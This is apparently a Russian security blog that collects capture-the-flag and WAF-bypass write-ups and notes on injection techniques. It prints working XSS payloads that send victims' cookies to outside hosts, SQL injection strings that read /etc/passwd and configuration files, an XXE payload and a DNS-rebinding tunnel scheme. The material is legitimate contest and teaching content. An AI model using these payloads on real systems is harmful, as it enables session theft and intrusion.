ZeroNights hackquest

UPD 23/11/11: пока только описание WEB270 The Kirovsky Plant, CRYPTO170/190 METRO1/2, WEB100 The State Hermitage Museum

Совсем скоро откроет двери долгожданная конференция ZeroNights, где впервые в России в одном зале соберутся западные и отечественные эксперты ИБ. Именно эксперты, а не маркетологи, менеждеры, руководители и прочие важые люди.

В рамках анонса этой конференции мы провели конкурс HackQuest, который был доступен абсолютно всем через Интернет на английском языке. Сразу отмечу, что все задания до сих пор можно проходить и получать флаги, только их добавление заблокировано.

Прежде всего, отмечу плюсы и минусы организационной работы:

+ Впервые представлены задания на соц. инжерению (голосовое скайп общение и ICQ)

+ Множество заданий без ярковыраженного акцента на безопасность веб-приложений

+ Максимально приближенные к реальной жизни задания (поэтому и брута было так много)

- Не было объявлено точной даты окончания квеста заранее

- Соц. инженереия работала не 24/7 (что вполне себе отвечает реальной жизни)

- Не было ценных призов (нормальная практика всех анонсов разыгрывать только инвайты)

Не затягивая больше, перейду к описанию самих конкурсных заданий.

Описывать буду в порядке убывания сложности.

1. WEB270. The Kirovsky Plant (https://hackquest.zeronights.org/missions/kirovsky.php).

Задание расположено на примечательном месте – Кировский завод, где уже несколько раз проходил СС.

Первый этап – найти исходный код, ищется без труда с помощью логики и эрудиции – по адресу /kirovsky/auth.inc:
<?php
class auth {
public $attempt;
public function getRole($login,$pass){
if($login==='4DM1N' && $pass==='pa55w0rd'){
return true;
}else{
return false;
}
}
public function __destruct(){
buildXML($this->attempt);
}
}
class failed {
public $failed_count;
?>

Как видим, доступны логин/пароль и некий объект auth, с параметром attempt, который попадает в функцию buildXML(), исходника которой у нас уже нет. Вводим логин/пароль из исходника и радостно понимаем, что задание несколько обширнее, чем просто поиск файла. После авторизации в параметр $_COOKIE['admin_data_asdgwugq7gw7er6wqge7riqwgrqwe87or'] попадает значение 10.

Меняя это значение на 10-1, и проверяя затем 10a, понимаем, что теперь имеем дело с внедрением операторов СУБД, осложненного двумя факторами: во-первых одинарные кавычки вырезаются, во-вторых, внедрение полностью слепое (без вывода ошибок и самих данных в HTTP-ответе).

Использовалась СУБД SQLite (и в остальных квестах тоже, кстати), поэтому единственным возможным способом получить данные быол использование Time-based техники. Примеров оных под SQLite нет, на что и был расчет. Тут каждый придумывал сам, смысл только в том, чтобы построить конструкцию CASE WHEN THEN ELSE с логическим условием, которое вызывает отработку тормозящей функции/конструкции, когда результат проверки логики положительный/отрицательный.

Долго ли, коротко ли, получаем записи data из admins, которые имеют следующий вид:

i:10

Понимаем, что они проходят десериализацию и проводим вторую инъекция так, чтобы возвращаемое значение содержало нужным нам объект. Каким может быть этот объект? Только auth с параметром attempt, больше ведь ничего не доступно в исходниках.

После десериализации строка из attempt идет на вход XML парсерсу. Уязвимостей XML не много, собственно на серверной стороне можно набеятся только на XXE. Пробуем ее и о приближаемся к победе. Уязвимость дает чтение локальных файлов из директории ./kirovsky/.

O:4:”auth”:1:{s:7:”attempt”;s:62:”<!DOCTYPE asd [<!ENTITY dsa SYSTEM "./kirovsky/config.php">]>”}

Только через инъекцию без одинарных кавычек так просто не просунуть двойные. Надо использовать Escape chars и конкатенацию, ну это уже лирика.

Читаем сначала config.php, затем flag.blabla-antibrute.php, имя которого лежит в конфиге.

Все, флаг получен %)

2. CRYPTO170. The Subway (https://hackquest.zeronights.org/missions/metro.php).

Задание не очень-то на криптографию, скорее на общее понимание форматов и смекалку.
Имеем два билета на фотограциях и два дампа их электронного содержимого.
Прежде всего смотрим что у нас есть из информации на картинках – номер билета, дата и время продажи.
Ясно, что надо подделывать дату.
Начинаем битфлип и быстро получаем флаг (если проходите в первый деь публикации задания).
Если не в первый день публикации задания, то начинаем брутить по байту и чуть дольше получаем флаг.

3. CRYPTO190. Metro#2 (https://hackquest.zeronights.org/missions/metro2.php).

Работаем с билетами первого метро. Чтобы пройти второе надо понять их формат полностью.
Когда узнали где лежит дата, можем без труда понять как она храниться  - номер дня от начала года.
По той же логике находим номер билета (4 байта без ведущего нуля) и его ключ.
После этого понимаем, что 12 байт данных билетов в обоих метро ксорятся нехитрым ключем – METRO, то есть METROMETROME, учитывая блоки.
Зная что должно быть в дате ксорим ее с дампом и понимаем ключ шифрования.
В конце, как водится, стоит контрольная сумма, в первом метро она не мешает получить флаг (ошибка выдается, но и флаг тоже) и не ксорится с ключем. Второе метро отличается только тем, что там контр. сумма ксорится и проверяется, в случае, если не сходится, то и флаг не выдается.
Проверяем crc32  от первых 12 байт и смотрим что вышло, а затем смотрим что в последний 4 байтах – таже самая CRC32, только без старшего разряда. Все, контрольная сумма разгадалана.
Считаем CRC32 от 12 байт билета второго метро, ксорим с тем, что там записано в последних 4 байтах и понимаем ключ для контр. суммы билетов второго метро – ключ получается HASH.
Теперь все разгадано – тупо сдвигаем номер билета сильно вперед, дату на текущую, генерим билет, ксорим данные, считаем CRC32, ксорим ее, отправляем, получаем флаг.
ВУАЛЯ =) Кстати, формат билетов взят с реальных пропусков, которые мне доводилось видеть.

3. WEB100. The State Hermitage Museum (https://hackquest.zeronights.org/missions/hermitage.php).

Самое тугое по прохождению задание, с точки зрения логов =)

Ничего сложного тут нет. Загружается картинка, и дано описание, что это должна быть фотография Эрмитажа. Ну как скрипт может проверять фотографию на дислокацию? Конечно, только по EXIF тэгам с координатами.

Когда отправялется такая картинка, скрипт выдает сообщение: “Can not find photo location in database :( “, что явно намекает на СУБД и внедрение операторов. Создаем картинку с кавычкой в координатах и видим, как все радостно падает. Дальше – дело техники.

Редактирование EXIF метаданных – излюбленный способ хакеров снабжать картинки полехной нагрузкой в виде шеллов для проведения RCE через LFI при полноценной валидации картинки графическими библиотеками.

Уязвимый участок кода был дан в подсказке в Твиттере, вот он:
$exif = exif_read_data($_FILES['photo']['tmp_name'],"GPS");
if(@$exif['GPSLatitude'] && @$exif['GPSLongitude']){
if(is_array($exif['GPSLatitude'])){
$lat = implode(" ",$exif['GPSLatitude']);
}else{$lat = $exif['GPSLatitude'];}
if(is_array($exif['GPSLongitude'])){
$lon = implode(" ",$exif['GPSLongitude']);
}else{$lon = $exif['GPSLongitude'];}
$res = $db->query("select id,descr from objects where id in
(select object_id from object_locations where latitude='$lat' and longitude='$lon')
");
$row = $res->fetchArray();
if($row){
echo "Upload OK. Thank you! Location: {$row['descr']}";
}else{
echo "Can not find photo location in database :( ";
}
}else{
echo "Can not verify that this photo of the Hermitage!";
}

Как видим, не сложное 100 балльное задание.

Comments (14)

Web-hackers vs Web-auditors and Pentesters

Решил написать эту заметку, и немного нарушить традицию писать по технике.

Давайте вместе попробуем сравнить две профессии – веб-хакер и веб-аудитор. Почему именно веб, а не шире? Потому что последние два года я занимаюсь исключительно вебом, и компенетциями в других областях не обладаю в требуемой мере. И после сравнения постараемся понять, специалист какой из этих профессий лучше подходит на роль пентестера.

Веб-хакер.

Недавно мы записывали ESET VirusFree подкаст #31, в ходе которого, мой собеседник отозвался об основной массе веб-хакеров, как о людях, умеющих “круто расставлять кавычки”. Во многом я с ним солидарен и сам отношусь к таким умельцам. Но это не все умения, которыми обладает “обычный” веб-хакер. Как минимум, потому, что хак начинается с реализации атаки, а с момента обнаружения уязвимости.  Перефразируя предыдущее предложение, подытожу:

Веб-хак – это веб-шелл или дефейс, а не с сообщение типа WARNING: sql syntax incorrect.

Чтобы отсеять массу троллей, введем достаточные условия (выполнение любого из которых гарантирует, что человек –  веб-хакер):

1. Веб-хакер – человек, который зарабатывает (зарабатывал) на безопасности веб-приложений не менее 5 МРОТ на протяжении не менее 4 месяцев.

2. Веб-хакер – человек, который придумал новый вид или подкласс уязвимости веб-приложений, принятый в мировой общественности.

3. Веб-хакер – человек, который нашел хотя бы две новые уязвимости серверного типа в популярных веб-приложениях  (PHPMyAdmin, PHPBB, WordPress, Joomla, etc)

4. Веб-хакер – человек, награжденный по программе Google Security Reward (http://www.google.com/about/corporate/company/halloffame.html) или Facebook reward.

5. Веб-хакер – человек, который может эксплуатировать найденную уязвимость на широком спектре ОС/веб-серверов и их настроек для реализации атаки (выполнение команд ОС с правами пользователя веб-сервера).

Основная задача веб-хакера:

Взломать хоть как-нибудь. То есть получить доступ теми средствами, с помощью которых это сделать проще всего. Доводить уязвимость до реализации обязательно (иначе доступ никак не получить).

Слабая сторона: отсутствие понимания о полноте и качестве при исследовании веб-приложений. 

Веб-аудитор.

Тут очень сложно с критериями, примерно можно говорить о следующих обязательных условиях (на этот раз вместе, а не по отдельности):

1. Веб-аудитор – человек, способный произвести оценку защищенности веб-приложения по конкретному типу уязвимости. Скажем, изучить структуру движка и вывести полные рекомендации (пусть и избыточные) по исправлениям, выполнив которые, риск обнаружения XSS (отраженных и хранимых) автоматизированными средствами типа Acunetix снизится до почти нуля.

2. Веб-аудитор – человек, который знает об основных типах уязвимостей веб-приложений, не исключая XXE,HRS (HTTP Request Smuggling). Может написать пример программы, уязвимой ко всем типам уязвимостей, разъяснить причину возникновения уязвимостей на программном уровне.

Предельно ясна задача:

Найти все возможные способы взлома. Доводить все уязвимости до реализации не обязательно (но желательно), достаточно оценить риск и найти метод устранения каждой уязвимости. 

Слабая сторона: недостаточные знания в практическом плане по реализации атак с использованием найденных уязвимостей. Недостаточные знания в других областях ИБ.

Какая связь?

На практике оказывается, что вероятность того, что какой-либо веб-аудитор является веб-хакером гораздо выше, чем вероятность того, что какой-либо веб-хакер является веб-аудитором. Причина простая – веб-хакеру нет жизненной необходимости совершенствоваться и становиться веб-аудитором. А вот веб-аудитор, совершенствуясь неизбежно становиться веб-хакером (по п. 2-5, конечно).

Пентест.

Здесь опять-таки не имею должной компетенции в полном объеме, так как занимаюсь исключительно аудитами веба. Но могу сказать о том представлении, которое сложилось у меня в связи с общением (долгим и плотным) с самими пентестерами.

Пентестер – нечто среднее между веб-хакером и веб-аудитором. С одной стороны он должен искать и эксплуатировать уязвимости (иначе какой пентест без самого “проникновения”) с другой стороны – обеспечивать полноту проведенного пентеста, то есть изучать веб-приложение с разных сторон. На практике сначала реазулизуется проникновение, то есть работает по-сути веб-хакер, живущий в пентестере, затем уже веб-аудитор. Иногда (в случае очень опытных экспертов) веб-хакер и веб-аудитор внутри пентестеры работают вместе, чередуясь. Веб-аудитор заканчивает работать внутри пентестера ровно тогда, когда заканчивает срок выполнения проекта. И никак иначе – ведь у безопаности нету дна. Альтернативный вариант – веб-аудитор заканчивает работать внутри пентестера тогда, когда его дергают на другой проект или просто становиться лень.

Но помимо всего прочего, пентестер обладает знаниями вне рамок веб-приложений. Эти знания обязательны. Обратное неверное – то есть существуют пентестеры, вообще не вникающие в безопасность веб-приложений (спецы по сетям, бинарным приложениям, etc).

Таким образом, на роли пентестера больше подходит веб-хакер, чем веб-аудитор, посколько у первого есть набор знаний, которые он может применять непосредственно сразу, без лишней подготовки. Веб-аудитору же придется тратить большее время на реализацию атаки с использованием обнаруженной уязвимости.

Comments (6)

CC11 RealTime WAF bypass

UPD! Добавлен вектор Rdot.org

На прошлых выходных прошел культовый фестиваль компьютерного искусства Chaos Constructions 2011.
Еще раз поздравдяю победителей:

Из безопасности было два конкурса: основной HackQuest и наш WAF bypass, о котором я и хочу рассказать.

Прежде всего, соберу все сылки, о мероприятии, которые удалось найти по блогам, их пока мало, так что очень прошу кинуть еще:

http://andrepetukhov.wordpress.com/2011/08/29/xss-waf-bypass-cc11/

http://amatrosov.blogspot.com/2011/08/cc11.html

Победители WAF realtime bypass:

rdot.org

BlackFan

kyprizel

Что же касалось нашего задания – это был WAF собственного производства (не продается) и бонусные задания, которые не требовали обходить WAF. С первых минут участники поделились на умных и сильных, первые ломали вручную, вторые играли в Nginx VS Acunetix, победил первый, ресурсов нам хватило, даже 10% нагрузки не достигли.

Начну с описания бонусных заданий:

№1 Задание математическое (25 баллов):

Случайно натыкаемся на missions/test.php и видим вот такую картинку:

А также указание к прохождению:

5!=120,

что для программистов означает “пять не равно 120″, а для всех остальных “пять факториал равно 120″.

И ниже пять кусков текста (флага), соотв. требовалось написать брутер и перебрать эти 120 вариантов.

№2 Задание верстальное (50 баллов):

Внимательным взглядом замечаем в стилях на страница с результатами такие строки:

.resTable td.row-1 {background: url(“../images/medal-gold-3-icon.png”) no-repeat;}
.resTable td.row-2 {background: url(“../images/medal-silver-3-icon.png”) no-repeat;}
.resTable td.row-3 {background: url(“../images/medal-bronze-3-icon.png”) no-repeat;}
.resTable td.row-13 {background: url(“../images/icon-13.png”) no-repeat;}
.resTable td.row-21 {background: url(“../images/icon-21.png”) no-repeat;}
.resTable td.row-69 {background: url(“../images/icon-69.png”) no-repeat;}
.resTable td.row-31337 {background: url(“../images/icon-31337.png”) no-repeat;}

Применяем смекалку, смотрим файл icon-31337.png, который является валидной картинкой, но внутри лежит XSS вектор, выводящий alert() с флагом, таким образом, либо копируем флаг из HEX, либо переименовываем в .html и читаем флаг.

№3 Задание SVN-ое (50 баллов)

Случайно находим /missions/dev и в ней странный скрипт, предлагающий авторизоваться. Пробуем какие-то вектора и ничего не помогает. Но вдруг проверяем вектор SVN, описанный http://habrahabr.ru/blogs/infosecurity/70330/ и видим, что на листинг соотв. директории отдается 403, а не 404, как везде, стало быть – она есть! Дальше недолгим перебором (ну не люблю я давать листинги сразу) читаем исходиник index.php.svn-base содержащий такие строки:


ini_set('REGISTER_GLOBALS','Off');

$is_admin=false;
$db = new SQLite3("bonus-2.aj31r63w7FTYAs.db");
$sid_str = sqlite_escape_string($_COOKIE['PHPSESSID']);
$data = parse_str($sid_str);
$login = sqlite_escape_string($_POST['login']);
$pass = md5($_POST['password']);
$res = $db->query("select type from users where login='$login' and passwd='$pass'");
if ($row==null){
echo "Login failed";
}else{
while($row = $res->fetchArray()){
if($row['type']>0){
$is_admin=true;
}else{
die("Restricted by privileges");
}
}
}
if ($is_admin){
echo "Hello, code is: ".file_get_contents("/home/oxod/flag");
}else{
echo "Error: auth required";
}

Находим уязвимость в parse_str, которая без второго аргумента кидает переменные в общий скоп и инициализируем необходимуб для авторизации $is_admin, засовывая в PHPSESSID вот такую строку: “is_admin=1&data=1″, затем заходим и получаем заветный флаг.

№4 Задание админское (50 баллов)

Находим админку в файле /missons/admin.php (вот что трудно, да?! почему не все нашли-то?!) и перебираем логин-пароль. Никто так и не сбрутил cisco/password, хотя во всех пасслистах и то и другое есть, в итоге я задолюался и разместил на странице авторизации логотип CISCO.

После чего авторизация была получена, в админке сразу лежал бонусный флаг и открывалось задание на RCE, уже с обходом WAF.

А теперь сладкое на закуску: обход WAF.

Все скрипты были прикрыты WAF, который работал по следующим двум принципам:

1. Весовой анализ запроса. Если спец. символов, типа скобок, кавычек и проч. больше 15% от длины запроса – запрос отбрасывался (die()) и выводилось сообщение: die( ”WAF detected anomal request spec. weight!”);

2. Сигнатурный анализ, выбрасывались спец. символы ‘ ” < > / и ключевые слова select, union, document, cookie

Я искренне надеялся, что слово weight поможет учатникам понять, что сигнатуры тут ни причем, но анализируя логи, убедится в обратном, тогда написал в твиттер “Первая подсказка: коллеги, задумайтесь над словом “ВЕС”, что, как позже рассказали участники, было интерпретировано как английское [БЕК] :)

#1 Обход для XSS (100 баллов + 100 баллов за выполнение бещ польз. действий).

Уязвимый сценарий был следующий:

echo “<a class=’news_title’>Ваше сообщение</a><br/><p class=’news_text’ id=utxt-$name>$text<script>var username=\”$name\”;</script></p><a class=’news_title’>отправлено администратору</a>”;

Где переменные $text и $name брались из польз. данных POST, причем длина name обрезалась до 39 символов (ну иначе совсем не интересно было бы). Все участники эксплуатировали внедрение атрибута в тэг <p> и сумели обхитрить тупую фильтрацию document и cookie, чтобы украть куки робота, содержащие флаг.

Решение от Андрея Петухова:

name = 1 onmouseover=setTimeout(innerHTML,1 )

text = var b = String.fromCharCode(100,111,99,117,109,101,110,116);var c = String.fromCharCode(99,111,111,107,105,101);var d = String.fromCharCode(104,116,116,112,58,47,47,49,53,56,46,50,53,48, 46,49,55,46,49,48,53,58,56,48,56,48,47,115,101,114,118,108, 101,116,47,70,105,114,115,116,76,111,103,103,101,114,63,99,61); var i = new Image();i.src= d + this[b][c];this[b].body.appendChild(i);//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Решение от Kyprizel:

name=”onclick=$.getScript(this.innerHTML)”

text=”http://domain.com/xssscript.js “

Еще было два варианта от Rdot.org и BlackFan, выложу их как только они акцептируют, суть там точно такая же.

Код без действий пользователя не выполнил никто. И действительно, Хром, под которым работала жертва атаки не поддерживает такие любимые всеми expression в style, как же тогда можно было получить вторые 100 баллов?

Посмотрите на вектор Kyprizel, видите там jQuery? Так вот если еще внимательнее посмотреть исходный код страницы, можно было заметить такие строки:

$(document).load(function(){
$(‘<’+$(‘#utxt-default’).html()+’>’);
});

Вот он победный DOM XSS threw Stored XSS :)
Вектор мог выглядеть так:

name=default

text=img src=a onerror=$.getScript(“//goo.gl/aaaaa”) forweightnormalizeblablablablablablablablablabla

Вектор команды – победителя выглядел вот так:

1 onmouseover=Function(this.innerHTML)()

b=/X6CX6FX63X61X74X69X6FX6EX2EX68X72X65X66X3DX22X6
8X74X74X70X3AX2FX2FX65X78X61X6DX70X6CX65X2EX63X6FX
6DX2FX3FX63X3DX22X2BX65X73X63X61X70X65X28X64X6FX63
X75X6DX65X6EX74X2EX63X6FX6FX6BX69X65X29/.source;
b=b.replace(/X/g,/%/.source); Function(unescape(b))();//

Замечу, что он выгодно отличается тем, что содержит сразу как обход весового анализа, так и обход сигнатур.

#2 Обход для SQLi (100 баллов + 100 баллов за дополненное задание).

Это задание не было слишком умным, как и предыдущее. Вообще мы старались делать задания не сложными, учитывая то, что был основной хакквест, выполнение которого также требовало времени.

Инъекция в SQL выражение вида:

$sql = “select id,author,content, date from news_$theme order by date desc”;

Как видно, не из сложных %) Самое трудное было отыскать флаг, который лежал в flags.flag и заблайндить байты.
Мой вариант был следующий:

general, flags where substr(hex(flag),1,1) like 9

и так далее по всем цифрам.
Также в запись с id=0 специально была положена строка ‘abcdefghijklmopqrtuvwxzy1234567890′, чтобы можно было сравнивать с ее подстроками.
Затем открылось второе задание – такое же, только без этой волшебной строки.
Интересно ребята, что бы вы делали, если пришлось бы достать не только цифровые hex()
Как видно, задание не из тяжелых, сложность только в том, что это SQLite и нету кавычек, select, union – не большая потеря (для такой инъекции), не правда ли?

#3 Обход для выполнения команд

Прямо скажу, это задание родилось с трудом…
Все уязвимости я старался брать из реальной дизни и немного адаптировать их в рамках конкурса, а эту в жизни уязвимость искали очень долго…
Итак, работал крон, который валидировал файлы, список которых брал из админки. Результат валидации он клал в файл, доступый из админки.
Код крона:

RESULT=” for FILE in $FILELIST;
do grep -q ‘^OK’ “$CHECKERSDIR/$FILE” || RESULT=”$RESULT, $FILE: $(cat $CHECKERSDIR/$FILE)” done
RESULT=${RESULT#, } if [ -z "$RESULT" ]; then echo “OK” else echo “WARN $RESULT” fi

Все что тут требовалось от участников (учитывая, что сырцы крона были выложены в твиттер) – чуть-чуть знать баш и обойти фильтрацию ..
Но с заданием никто не справился. Потому что пароль от админки набрутили очень поздно – после подсказки с циской, когда до окончания задания оставалось час-полтора.
Поскольку задание пройдено не было, предлагаю ваши варианты выкладывать сюда %)

Tags: , , , , ,

Comments (7)

Опять 25: ускоряем блайнды

Как-то Дмитрий Евтеев предложил интересный метод ускорения полностью слепых инъекций в случаях, когда есть большая выборка данных под тем запросом, куда внедряется вектор.

Суть метода проста, глядите:

?id=-1′ or (id=ord(mid(load_file(‘/etc/passwd’),1,1)))

Если данных достаточно, можно вытащить два полезных байта:

?id=-1′ or (id=ord(mid(load_file(‘/etc/passwd’),1,1))) or (id=255+ord(mid(load_file(‘/etc/passwd’),2,1)))–

ну и так далее…

Все зависит только от того, сколько есть данных в таблице. Затем анализируем результаты и получаем от совершенного чистого блайнда без сообщений об ошибках и union конструкций несколько поленых байт за один запрос.

На практике же иногда бывает, что идентификаторов не хватает, зато есть текстовые поля.

Тогда запрос просто переписывается:

?id=-1′ or mid(text,1,1)=mid(load_file(‘/etc/passwd’),1,1)

Получается, что отберутся только те записи, первая буква в поле text которых совпадает с полезным байтом.

Дальше если позволяют данные можно пробовать вытащить второй полезный байт в этот же запрос, сравнивая его с другим текстовым полем, и придумав как различать ответы.

Это уже что называется “тюнинг”, но суть одна – даже очень тугие инъекции можно оптимизировать по скорости в разы, не используя брутфорс символов.

UPDATE:

Кстати если надо читать конфиг, пользуйтесь поиском

?id=’and(id%3Clocate(‘DocumentRoot’,load_file(‘/etc/apache2/httpd.conf’))-1337)%23

Тогда вы сразу получите то смещение, по которому лежат нужные данные, без необходимости читать весь файл целиком.

Tags:

Leave a Comment

DNS pining на все случаи жизни

Есть такие темы, которые никогда не дадут покоя исследователям.
Они как бумеранг будут возвращаться снова и снова, ударяя тыльной частью по общественности.
Одна из таких тем – это атаки на DNS.

Пару лет назад была классная работа Дэна Камински (http://en.wikipedia.org/wiki/Dan_Kaminsky)

Но еще до нее была исследована тема ребиндинга – то есть подмены IP адреса для домена.
Суть в том, чтобы обмануть какое-либо клиентское ПО и заставить пойти через доменное имя атакующего на IP адрес целевой машины. Это может быть машина во внутренней сети или другой хост. Никто ведь из клиентского ПО не будет проверять, что два IP адреса, которые вернулись как А записи для домена вообще находятся в разных диапазонах (скажем, удаленный и локальный). А надо было бы. По крайней мере запретить обрабатывать для инетных доменов IP адреса из внутренних сетей точно стоит. Это не защитит от атаки полностью – ведь можно будет атаковать хосты не из локальной сети, но, по-крайней мере, закроет большую проблему с атаками на внутренние ресурсы.

Из последних работ по ребиндингу стоит отметить презентацию Дениса Баранова на PHD2011:
http://www.slideshare.net/phdays/dns-rebinding-8359297

Главное достоинство этой работы в том, что исследователь создал полноценный инструмент для демонстрации атак с использованием ребиндинга. Это титанический труд…

Продемонстрированный инструмент может атаковать все, что работает по HTTP протоколу и не имеет авторизации по сертификатам.

Такие ограничения навязаны браузерами, ведь штатно средствами JavaScript сокеты недоступны.
Но давайте мыслить шире.
У всех же есть любимый флэш (ну или ява на худой конец, а еще есть (о боже…) SilverLight и тоже у всей винды по-умолчанию), а там с сокетами все в порядке.

И работы на этот счет уже были, еще в далеком 2006м году:

http://www.jumperz.net/index.php?i=2&a=3&b=3

И что дальше?

Для  флэша все очень красиво, он загружается без всяких подтверждений, но просто так сокет открыть не даст – потребует вот такую штуку

http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html#articlecontentAdobe_numberedheader_1

А дальше атакующий может быть умнее.

Все что требуется – подделать соотв. ответ от сервера и дальше можно открывать любые порты.

В чем же здесь хитрость? В том, что он его потребует для домена, а не для IP адреса, и когда получит, он его запомнит! Все, дело в шляпе, схема атаки:

1. Злоумышленник прописывает своему домену две DNS записи – IP1 и IP2, где IP1 – реальный адрес сервера злоумышленника, IP2 – адрес сервера из внутренней сети.

2. Злоумышленник ждет, пока флэш жертвы скачает вот это

http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html#articlecontentAdobe_numberedheader_1 с сервера IP1 и выключает сервер IP1.

3. Флэш жертвы видит, что IP1 недоступен, радостно берет IP2 адрес для этого же домена и открывает сокет. Потому что он уже запросил конфиг, а то, что он это сделал с другого IP адреса его не волнует – домен ведь один ;)

4. Флэш жертвы проверяет какие порты на IP2 открыты, для каждого из них становиться гейтом: открывает по новому сокету на каждый открытый порт IP2 с неким сервером злоумышленника на совершенно другом и обычном IP (IP3).

5. Флэш жертвы пересылает все данные, которые получил от IP3 на IP2 и наоборот. Получается полноценный бэк-туннель.

Таким образом, можно прогнать какой-нибудь nmap, а ребята из Позитива смогут через такой проброс запустить свой МаксПатрул.

Кстати, тут уже писали, что плагины и сокеты – это зло:

http://searchsecurity.techtarget.com/definition/DNS-rebinding-attack

В заключении Стэндфортская интересная статья по борьбе с пинингом в браузерах:

http://crypto.stanford.edu/dns/dns-rebinding.pdf

Мы тут кстати, недавно в ESET с авторами беседовали, и как вариант исправления проговорили, исправление для конкретных веб-приложений обработки HTTP запросов.

Все, это больше не работает. Через сокеты можно все это обойти…

Tags: , , ,

Comments (2)

XSS в изолированных средах

Провел интересную атаку, спешу поделиться и обсудить.
Есть клиент (К) в изолированной среде, из которой видно ТОЛЬКО веб-приложение (П).
(П) подвержено XSS, задача получить авторизацию.
(П) видно из внешней сети, доступной злоумышленнику (З).
Как передать данные COOKIE, скажем PHPSESSID от (П) к (З).
Если не через само приложение, что бывает трудно, скажем отраженная XSS только и все.

Решение такое: (З) ставит пользователю известный ему идентификатор сессии через XSS
document.cookie = “PHPSESSID=blablabla;expires=anything-about-9999″;
и разлогинивает (К) автоматом от (П).

Дальше (З) ждет пока (К) залогиниться снова и проверяем авторизацию с известным идентификатором сессии.

Ествественно, зависит успех зависит от (П), которое должно не перетирать куки, но в моей случае, все получилось, и думаю, так будет почти всегда ;)

Tags: ,

Comments (5)

HTTP responce splitting для Access-Control-Allow-Origin

Первый раз пришлось использовать уязвимость HTTP responce splitting не по прямому назначению.
То есть не для того, чтобы провести классическую отраженную XSS атаку.
Вместо этого добавил в ответ сервера хидер:

Access-Control-Allow-Origin: *;

Что позволило прочитать содержимое страницы с другого домена.

Такой способ оказался единственным вариантом, так как WAF работал более чем хорошо, пожалуй, еще лучше, чем WAF имени Дмитрия Евтеева на наливайке в этот четверг.

Comments (5)

По мотивам DNS rebinding на PHD2011

Позавчера прослушал интересный доклад Дениса Баранова:  http://phdays.ru/program-tech.asp#2

Поразился огромной работе, проделанной для практической реализации инструмента. И еще больше поражает то, что вся техника по-сути документирована.

Пришли мысли на тему подключения к telnet устройствам на низких портах, и вот подборочка:

http://jsterm.com/ + http://nodejs.org/

Пройдите по первой ссылке и попробуйте сами. Конечно, это совсем не готовый вариант.

Пробовал также идею с авторизацией такого рода:

GET / HTTP/1.1 –ожидал, что телнет успеет ответить, запросом не ввод пароля

Host: aaaa –ожидал, что телнет успеет ответить, что пароль неверный

admin: –ожидал, что телнет успеет запросить новый логин

pass: –ожидал, что телнет успеет принять пароль

Но не все так просто, надо думать дальше. Браузер не будет ждать телнетовских ответов.

Думаю, исследователь доработает метод, и всеми правдами-неправдами научит инструмент не только управлять устройствами по HTTP протоколу, но и эмулировать telnet через JavaScript.

Желаю Денису творческих успехов!

Tags: , , ,

Comments (1)

PHD2011 как это было.

Вчера начался и завершился форум PHD.

Это было весело %)
В CTF победили потенциальные противники друзья из США, команда PPP.

Наши вторые, третьи, и вроде еще четвертые.

Лучшая наша команда – LeetMore, Питер, с чем их и поздравляю!

Хакердом третий, респект!

За остальными результатами не следил.

В конкурсах взломай и уноси, как я и ожидал, не было ажиотажа: Никита Тараканов принес сплойт под Сафари и утащил ноут. iPhone никто не сломал, iPad сплоит я лично видел, в исполнении того же Тараканова, но на награждении это не прозвучало, хотя я мог и не запомнить…

Завершающим конкурсом стала наливайка. В которой я поучавствовал.

Мой ноут без проводной сети играть не смог. Пришлось одолжить ноут у AMS (8 дюймов – тот еще “ноут” ;) ).

Худо-бедно, смог начать ;) Был установлен хром, и на том спасибо.

Правила оказались несколько иными, потому что пили мы независимо от WAF, впрочем, из-за WAF я тоже пил, и за флаг (первый и единственный) и вообще… Уже не помню сколько шел конкурс, но не 20 минут – это факт, минут 40 минимум.

На слом был предложен сайт – копия PHDays.ru в локальной сети.

Быстро нашел там LFI в фотогалереи и начал подбирать имена файла с флагом. Уязвимость была на винде, так что работала техника <<, описанная в http://onsec.ru/onsec.whitepaper-02.eng.pdf.

В итоге нифига не подобралось. Писать фаззер было не на чем – начал скачивать пхп с инета.

Попутно понял (а понимать становилось все труднее), что нужен сниффер, начал качал Wireshark.

В итоге выкачал, глянул ответы сервера и увидел там Warning о содержимом подключаемого файла, стало чуть понятнее, но имя файла не брутилось.

Тут пришла очередная подсказка от огранизаторов (до этого были про LFI, мило, когда уже и так все было понятно, и про инъекцию в куках – забил). Попробовал следуя ей подключить index.php, и выпил штрафную. Толи index, то ли php не нравилось WAF. Сделал ind<<.p<< и получил флаг в ответе сервера.

Дальше пробовал инъекцию, COOKIE нашел всего один – sessionid, поставил ‘ в конец – 403, убрал – 200, дальше не успел – конкурс кончился.

Выпил стопок 8 текилы, получил внешний диск и кружку, остался рад ;)

Само мероприятие более чем понравилось, были и минусы, вроде отсутствия микрофона на мастер-классах, но без них никуда.
Идея с пригласительными мне не нравилась, но когда оказался внутри – понял организаторов.
Действительно, людей было в самый раз. И было много!
Если бы впустили всех желающих – хал бы просто порвался.
Опять же, просто не представляю как можно было сделать открытый вход и объединить бизнес со спецами – это совершенно разные форматы.
Думаю, в следующем году будет или тоже самое, или для PHD – бизнес и тех.

Доклад. Безопасность браузеров.

Comments (8)

JKS bruteforcer.

При проведении аудита защищенности веб-приложений, часто встречаются решения на базе ключевых контейнеров JKS.

Да собственно, какой бы контейнер не был – если носитель не защищенный, то любой контейнер можно скопировать и подобрать к нему пароль.

Контейнер - это просто файл определенного формата, содержащий закрытый ключ и/или сертификат, чаще всего, контейнер зашифрован паролем, который и требуется для доступа к закрытому ключу.

Попробуем разобраться, насколько реально подобрать этот пароль к контейнеру JKS.

Без всяких изощрений и криптоанализа, напишем брутфорсер “влоб”:

[Read the rest of this entry...]

Tags: , , , ,

Comments (2)